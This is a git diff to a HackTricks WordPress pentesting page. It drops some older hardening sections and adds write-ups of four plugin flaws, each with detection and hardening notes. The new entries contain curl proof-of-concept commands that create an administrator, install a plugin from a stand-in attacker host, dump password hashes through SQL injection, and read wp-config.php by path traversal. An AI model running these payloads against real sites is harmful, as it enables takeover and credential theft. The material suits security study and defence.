Merge pull request #1454 from HackTricks-wiki/update_Q3_2025_s_most_exploited_WordPress_vulnerabilities_20251001_123959

Q3 2025’s most exploited WordPress vulnerabilities and how R...
2025-10-10 18:36:50 +00:00 · 2025-10-04 11:01:36 +02:00 · 2025-10-04 11:01:36 +02:00 · 1951fd1b20
commit 1951fd1b20
parent 52b790ed7a 971befe517
2 changed files with 122 additions and 57 deletions
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@ -447,15 +447,6 @@ Detection checklist
 - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
 - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.

-Hardening
-
- Never derive authentication or authorization from client-controlled headers.
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
-
-References: see the links at the end of this page for a public case and broader analysis.
-
 ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

 WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
@ -511,31 +502,6 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
 * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
 * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.

-#### Hardening
-
-```php
-function secure_remove_font_family() {
-    if ( ! is_user_logged_in() ) {
-        wp_send_json_error( 'forbidden', 403 );
-    }
-    check_ajax_referer( 'litho_fonts_nonce' );
-
-    $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
-    $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
-
-    if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
-        wp_send_json_error( 'invalid path', 400 );
-    }
-    // … proceed …
-}
-add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
-//  🔒  NO wp_ajax_nopriv_ registration
-```
-
-> [!TIP]
-> **Always** treat any write/delete operation on disk as privileged and double-check:
-> • Authentication  • Authorisation  • Nonce  • Input sanitisation  • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
-
 ---

 ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
@ -565,12 +531,6 @@ Why it’s exploitable
 - If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
 - In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).

-Attack prerequisites
-
- Vulnerable plugin version with the feature enabled.
- Target account has a stale high-privilege role stored in user meta from earlier use.
- Any authenticated session; missing nonce/capability on the reset flow.
-
 Exploitation (example)

 ```bash
@ -591,21 +551,6 @@ Detection checklist
  - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
  - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.

-Hardening
-
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`.
- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy.
- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration:
-
-```php
-add_action( 'profile_update', function( $user_id ) {
-    delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
-}, 10, 1 );
-```
-
- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches.
-
 ---

 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
@ -852,6 +797,123 @@ Patched behaviour (Jobmonster 4.8.0)

 - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

+## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
+
+Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
+
+- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
+- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
+- Impact: full takeover by chaining the minted key to internal privileged actions
+
+PoC – mint a connection key and use it
+
+```bash
+# 1) Obtain key (unauthenticated). Exact payload varies per plugin
+curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
+  -H 'Content-Type: application/json' \
+  --data '{"username":"admin"}'
+# → {"key":"<conn_key>", ...}
+
+# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
+curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
+  -H 'Content-Type: application/json' \
+  -H 'X-Connection-Key: <conn_key>' \
+  --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
+```
+
+Why it’s exploitable
+- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
+- No capability enforcement; minted key is accepted as a universal bypass
+
+Detection checklist
+- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
+- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
+- Look for subsequent routes that accept the minted token/key without server-side capability checks
+
+Hardening
+- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
+- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
+- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
+
+---
+
+## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
+
+Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
+
+- Vulnerable path: plugin/install_and_activate
+- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
+- Impact: full compromise via arbitrary plugin install/activation
+
+PoC (shape depends on plugin; illustrative only)
+
+```bash
+curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
+  -H 'Content-Type: application/json' \
+  --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
+```
+
+Detection checklist
+- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
+- Any code path that sets $skip_caps = true after nonce validation
+
+Hardening
+- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
+- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
+- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
+
+---
+
+## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
+
+Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
+
+- Parameter: s (search)
+- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
+- Impact: database exfiltration (users, hashes), lateral movement
+
+PoC
+
+```bash
+# Replace action with the affected depicter-* handler on the target
+curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
+  --data-urlencode 'action=depicter_search' \
+  --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
+```
+
+Detection checklist
+- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
+- Review custom queries passed to $wpdb->get_results()/query() concatenating s
+
+Hardening
+- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
+- Add a strict allowlist for s and normalize to expected charset/length
+
+---
+
+## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
+
+Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
+
+- Parameter: __kubio-site-edit-iframe-classic-template
+- Flaw: no normalization/allowlisting; traversal permitted
+- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
+
+PoC – read wp-config.php
+
+```bash
+curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
+```
+
+Detection checklist
+- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
+- Look for traversal patterns (../) reaching outside the intended templates directory
+
+Hardening
+- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
+- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
+
+
 ## References

 - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@ -863,7 +925,11 @@ Patched behaviour (Jobmonster 4.8.0)
 - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
 - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
 - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
-
 - [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
+- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
+- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
+- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
+- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
+- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)

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--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the

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